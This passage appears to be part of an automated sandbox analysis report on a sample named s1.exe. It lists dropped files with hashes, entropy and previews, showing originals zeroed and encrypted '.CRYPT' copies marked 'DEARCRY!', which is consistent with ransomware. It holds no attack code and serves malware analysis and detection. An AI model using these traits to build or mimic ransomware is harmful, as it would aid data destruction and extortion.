                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\73ce1317-4192-2dd7-a00a-d9171030d9eb.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3800
                                                              Entropy (8bit):7.942160002009678
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C49A4B1A780B41618FC7A087B6EC1CB1
                                                              SHA1:B102ECE7CD51AC1B7C6E8C87E2C533C8C6270FE7
                                                              SHA-256:80E8A101D2D0D292255EE2B4AB12C48A8841250AB21F4A61283A6C302740B5F1
                                                              SHA-512:F21B8EB109104832FEF268B92CC1CD05B20BFCA99CEB48D6373B97C3AE889DD7133B664881286567187B2AE0D18EF9763F0DB374FA3CF2EED62210B61A5D762E
                                                              Malicious:false
                                                              Preview: DEARCRY!......`~.(.E......@R..K...}./.....gW..V.;.Y..........K......&.oW..-.[.Jr...,...w.......n.X5WlI.._....S..ff...J_..:.iN...#......%3.i.....Jd...c1.3....#...MP>s....+R!Q|=.-}...I..1......z.n..f.R.....$..k.0.S..Eg2..@....o..C..+....6.m.z^........ubqJ5..............u...X.x\...q.....(".@.d6.0..3~h.....g...K60l...6.hE....H:G.........%.>3wy....!...R}&o...a.=). .h.r.h...I..(.0......P.P.V;H..x.lA....'...h..fL%!.-$m.m....9..,..#...d..\(..Y.D......:s.}Gzn_...l.".n.x.*.'.r.....L..F..X.._.=..W8...(2.....o$...6.-.f+...H..a\.+..G4;..{.1.....2.....9O.g..,.u.Qp/...tJ.X.t.f.Q}..}f.HV........... q./<].CRR.y@.L...Zb...;4!......T..)c./.6h._..%1.h.MQ.u......7_.....?..}.5...q....F....A.tI.:r.u....i....6.:y..)....C.U.MG...f.p.46{.b... i..B4.T.....Xb.5.w....2..&...6.X.8.@...q!.a.....~m.|.q...K....c.......s....kz|........}.!)..T..9Lq...3.y.._..JH...|.8........H...4*.....I..[^$G.v#X...>m...{..V.@(....2.^....E.50.z...Q5.]K..2..l..N@.(..Z..J._.WW...-./..........
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3196
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FED981E5B1801AFFCB5DB2C5215B1D39
                                                              SHA1:F3E5DD15245E80EC5124FD3BBF917919C2FDEDCB
                                                              SHA-256:A9E0245B7CCC5040FE644213B3468E62D0D0DEE49E5695062CAEFC034FD4F4E5
                                                              SHA-512:3B517E45FB45600CBEB5E46D6EECB856C4FD55B87443DF5F4B5876FC1158E6AF6BFEC69EDEF53F8363F7D9A8D0943673EC9E8BC1819E64D5082F9B6EA83637EE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\7646fa0f-b52c-71a8-3aed-950dd1668c09.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.942688626102183
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7506E15945D4CA909F9AFD4EFF7B1A4F
                                                              SHA1:32E486E062EB5E424B08866D677DB13E75F29810
                                                              SHA-256:209D3F4299F2E635D84DF1E3ED61847E25234B1AF017F8C19AC81A3232D44FC4
                                                              SHA-512:AAFD7E3307F6EB55D2E0DB0DF7AC8360A1F697E16FBE4DFA9E637A53A64F851F9E62F01CB9A29777EECCFBC84E2CCE39F8988807956A89CDD2974675F5B75298
                                                              Malicious:false
                                                              Preview: DEARCRY!....@.................'...v............}i.....pG..Jar.j....D.E...<.....(.b..N.............]bha.......s.F9)*.4G..[C|d.<.h.})2W.q..G..6....Z...s.cv..Sm....,.......|.s.@...m..-.5.........(..r..Z(b..?...c_;..?G.|....|;......\.R3..~.$M`..."..]".f-@.....|.........a./3.w~@..}|..j._...%Z+M#J.q.>KP..E.uS.........8....A.I.?....AI.]..M...k..kf..r<..v......:].........x..a.S.=$Ta......W..Vy....`.:.....V....X....%.u..V._.../.!..)...>=......;_WQ'V$.|..g.}7......i..c%..4..-.%.\.exV..t...j......L?.{F.B%K=S...L......6d...s..s.....|T4.Mu...\..hRl0...:...+.1./3.QX[.r.;M...F.&P.M:9l...^_i.....&.Ux;w.....s..bAj-@/.F.f0....}...H.%.T6([7........,Q...8u.*.+...l.l.P......Oh.B...<...Z..;....E.+.<`.GPk I><..?p...........i..h.P..Df....W.:....7....~vM...x.J..Vm....t.q`...x..R7.'.)A|.....b.Sh.L.^......|>f..:!...G..v...'....pT@...`&..k...'.h..\z.qc`I..2[".c.Z...2r.S........7.....[.<.Q.........\s.Q..;......p...[....+.E0w{...%./....Z..."?".k..[.D..lX..x^.-p.&g
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2663
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:31434364ACBA2FA351FC9715DB743DF4
                                                              SHA1:1C2E77B236CFDD14960E90C9A48E59532D1A255B
                                                              SHA-256:A94FC52F4840AA6390D47765D3FCE16AB6D1C1978441156EF607A4B6F63FC317
                                                              SHA-512:B069A65226C5AEA8D50DA2A179A351051A6680CF42A117D5D5B98E97BDCDD12E412F698B89039BD3464550E5794D3B95D97C6EE6931DC72E1BB060DAA08E40B4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.92506864282741
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EBB61002DD46B005F84E4F5F14E01BF0
                                                              SHA1:FAA3B762BA17222BD75FC48D28EB31A5FB79EF08
                                                              SHA-256:0BA7D7238D6720D71A4EA6A5FD3497664D85534E85BDD6BF3848E3DCA1C0DF65
                                                              SHA-512:839F1FCFA642529A067DC892EF3B57EF278AE77B89D0A49BEAA40896800039709A603DD3F76293D18F8DAD7B995D3FA83FF7A6C9AD0E8970580F3B20C69BC04E
                                                              Malicious:false
                                                              Preview: DEARCRY!....<v..i.>..:..f6.J....V<v....Z.K|~..+..8...'.....e~_p.......)Y..#kf.y.Rw.Gh*m....6..([s....b.m.z..-.....+ k..f..6.4.B..6"LhC...F.........\B?{.76..C...ezX...G.T/......p.%.=.+."S..lvR...K...}.!.*-.~....^...e...q....t......y..o{..p......Ew,D.z..........g.........t.e..byc.U...).'<................6Ln?..Y+.m.3....8...!)?8 N.)Z4$JAe...p1.(........b..+...,\..u;gY......4QC.9.}..o.fyY=B.h#`...i=i.2s(&...@..*.:...v.ua*.A..`..s..V..o...N.....r.....)R..R.p.N<b.!.A..f@..&....rK(.'..[..KP3.a:...JL.>......"J..P.}.......d/..*..XQ`....9.0N:...Ot...K;.7B.........Q.v..n.+QBQ..x..y...a.....?.......f...w$.N.....nIt....".2...0..|....y.5&LO".O.,.cJ..}. ...g....Z......W&...`.$.....V.]UT3[=.gf..O..L.......<....5..+>..,.;Yd..p;...b_/W.2j.Oz.c....,..t.,......3x6........2(....tG.5..&*.lj.N..^rF......kKx.'.yf..u...,vV..Z./...$..{..?....c..8k..1...`.W'......E7.I*$&./.`....|.....|...'.L......Z............z..J5..2WmHx..0e.95.....?..".Ng.j3...P.c....+.........
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2678
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:97AE70C044174B570216E043888E44BF
                                                              SHA1:8F8C9DF4C60A086D8BDD7E56DEA8F98FFDADC4DF
                                                              SHA-256:1D9B56D8D37070A1D40A04204EA32BFACCD0FD6C2A3AACB0D3E9C2619EDD2987
                                                              SHA-512:476C21BBE89E789AB351A4FFF07019F642031D8C9576A35B021556BC711850CBFE014DD65FFB4CAB0AD1FE262B312F6271DCB3A7DA2C14A37EED5397EDFB0928
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2968
                                                              Entropy (8bit):7.927090031349171
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7F11E77A4C68AB24144106686A90E04
                                                              SHA1:BFDA76DBD091A5D6F7403A758EF0952AB6F75CEC
                                                              SHA-256:C1D7B12FD7AD6ACBCC6517108D78EF30DA19206DACCD1D7AE36ACB5E643F0F5F
                                                              SHA-512:5F7B87A78199AF75C36B5019E7B36668BE1C55426FD0C4AD513D8B5E17E3BDB2F70EFB3830AA2D59B9FB031E0CF822FE0A3ABF5064CB8BC60208E42F0F50ED7B
                                                              Malicious:false
                                                              Preview: DEARCRY!.....r..7..k.."F}[.......)C7.m..3.3.).Z#.9.l.7.0g........$.....).o..(......G...+{...^=..a......h?A@.)....}O.....M..=M].!.Py"8.R-..W..c*....4....j..!.>eW..c...V.."...#._...:'.....Y.+Y.....V...k.E.)..u.}...bh.....y.G... ......}............d.........O....v........E.u.1..._...VL.....fm.z.m..e.[[.g<.).....F:#'M|....2&..VG?H&........`...._.<AB......k>@..(a.rL...;{T...S....B..}...*..q?...;.0...iwX....8.V.O<.}.).).5..a.^....A,.f!.e..'..@(.7%*..].#i.2..s.....^.5Q.~..1V..m.....f..T....A..-T...a.Sm...]x%....e..P.B.z.q..S...t......^.u.:..RT..yu...k.....d..[...(.f.~.....s=o....J8.=...6..c#..c........:..!..U..=..-.E....2.8....Q...F.?.....T..B##Z.ia.k......lXy.u..ql.Bw.n....m`lej..g ...eM.+.8.....u7c.YH.......#.W....x2.....$5.Y...q.D&...5..%..n..Z...\...$.:..z...,..(.........i?...Ea.S....t.k...[zUI......C........!'=.........Z#rY9j....y...Dl...q.N.!`s..gSe.4E..g].0.].L,...oN..k>.....9...f.......T.K.^..T.$s'..?........_..8z.+..N|'...H_K..J;
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2783
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:98BC8FD19B2281325AFA152514F2987D
                                                              SHA1:B25B85F9DF23D9E53A57DE7C2B1EBF0D9724875E
                                                              SHA-256:A193C2BF9D88E3B1696AB216B8C4320260707F86A0E40F8BC7FC0F030E42AC9A
                                                              SHA-512:5F024E0DAF5957898BA26B4FE5B1D3982900C11F270953C550CC9882F91C83F347B3B1A20197D973B5DF77FE2A8DA576DD3DB29CAC6BC5D4D98B97BF9921A633
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3064
                                                              Entropy (8bit):7.93164592335235
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2AF2C065A0B2DBD0328A1E9286DB1C1B
                                                              SHA1:623FB3E44FF83F7288CA52D69C8E0BF2E34F469F
                                                              SHA-256:B39929C928567D2FF142166906608C360A534BD263A47F9B4ED35BC73F88E010
                                                              SHA-512:3660136582AF7C50C792CE7C4FB33FF59FD2E63E49444C4D610A4E81A675F1D2931C79E4D92D62E0A81B0B5B72E1EF8A5D964F2D540857667952AC215C879E31
                                                              Malicious:false
                                                              Preview: DEARCRY!.....]m/Ay...<n.se......m.S..@x....s.m/.Z....3u.O..e3}.Z..z..}....H.F|.....Zu^.N...}..Ar.+..H.e.?%...F...I.zz......../.YG...S..S.).@.~.^.y..:.aF2.Fn...F.>.77...I...S.Zu.I....A..../.......Q\/..V.J..'JO..0..........p.)..:E<.NI.p.7....x6n.f...s...Xu...............h6.[J..Uw]...uy....j..*'.........>?G...B....Yv....GX....|O.......+r..3x5p.1.2.E..5.,.J}...E.B..'Y:.c..,...{d&..k/.e...pw.....:;.YB.i.."./..,..i....u.,.....;Z...)..7.]-2.L.Q...3.C.#.r.......%..y%$......"..-.yB.U..+.'Cs.Y@.r.../p..?.VZ#..N...6.Z....5..r6.ym.ys.....K.c..y..n.Vr....E...i......2y.1J...<.5l.T......?...O.>...?..D..m...BC5.l..D....(..T ...{J..|*T...Sq...:=.EC.o.#....._........>,..`.8..V.R."c7>T.....aM....4\-.S7.h.M.T[L...)y+.C..9'..,.......tt.m)...*Y.g....../Et]..7.....GNE..3.i.E....u.5.<.?A........>.....v..>T./]..:......[E#....Fz...]t?n....w.......yUdG$,W$9,......._.Sgn.....BM....r.$..Kw{.j.A.z....x.P2.Z..b..t6)..."?,.LV.....[...T.%...b..:.......W..V....qg.`..OT4
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8cfc804a-d777-2361-1670-4569e516397e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2630
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:29EB0301F92BDA0D67F79582ACADF847
                                                              SHA1:2C2AC90238793F699322833C2F8BD043CC29DDEC
                                                              SHA-256:221CE3A8C269F4DFF433A9A8A9807F65D8FA7B302E640B245F7293A0998363D6
                                                              SHA-512:61F47426E5DFF09A432A7848F3D07CFB5F85CAB6B327FB416C31223E6A5ECAAF3A3F065A6C4BF0A352FB4FD3C7199AE481C929C43DA3D596000F87D7F6BD52C1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8cfc804a-d777-2361-1670-4569e516397e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.934088297452902
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EE0EF0AB82B883849A665E3F2F34F9DD
                                                              SHA1:73943B962A750D68A2803E14FCD887779608A0AD
                                                              SHA-256:643E569790D73987FB78B22263405D4B3814D1A61A49C40470B33424787BDEF8
                                                              SHA-512:108B784A9916C72A515D6B303FF2F7D5DA3A1B4CA4BB1B4A811715D298095623AD189A7AE91D75D72C5D7C0D12019446B8F56C7DAE84A4F024DF52D2A65571C6
                                                              Malicious:false
                                                              Preview: DEARCRY!.......M.b...,M....A....J.[D...x&.S....j..<B..X...D...V.N..[.p.1....R.}T.....>.I.g.^H.VWz.I.d....+9....Ur..*..b..+....!Q.cD...B..-....@7..sI.;(.m.....G..ey.3k ..K@....1.T..9V....r.q ..c5o(J5..+g./..1..KRgID...lEb..'.Q....4.T/..%$.AY.V..".1...D.\..[.\.....F.........]3<4..t..6Z...c:.e..........#.t|..Z..%z...>.1.,R..-...L}.....L...f..4.{t.w..l<X...G+/.._.~.).........w.......f.G.).!atP..hf....0........E }n...f.C..lKr.....:....?.{...6.......3...L.......,Y............m..n$u..1B.......... .....Q..I.e.."Br!.eb..0c..qK...r+!%H.........-I.g.p..A.~.".;Q.;..vJ.xP....|.g*M...k.N[..5%S%&6.oA...H.k.(=%.p&...+..MV;....S.a..Zw...5.P.l..=u;B3...b....xR$.d..a......)..LE.....A........[.ty.S~j.]8....7.....}...Y#k...^>P84.%t<].b...q..=.R..bv8......J.E..F..L6.rL...v=6.!^=.$.p96 ....'.......A.........*....D...........-.i?...1.-l..f.tO0R\>.......i.*a..........Y..:G...JyD...w.e.9.^...3^..;9`....q....<nS.{'F....b..,N.<.B.A8Iq...uj8.&-(:?......V.g2_P....R
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8d56e57b-8663-136d-ff69-a004e217825a.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2669
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E23188EF9CB1A057C46A5F8A2FAB5F18
                                                              SHA1:93DD530653B9583647928B76170500F97034F6A3
                                                              SHA-256:EA2FB239FB27C20EDC87F3F574AA2F1C12D24D5593569712C12168DE04853FCB
                                                              SHA-512:F830C2C85078278B3F99D829587CE891BD8E9B7E472F043AD6926E0C068DCBA833186F8CD718EEB07CD0198A29A69000CB3D1F13A23B48F36E198AF926FA49B8
                                                              Malicious:false
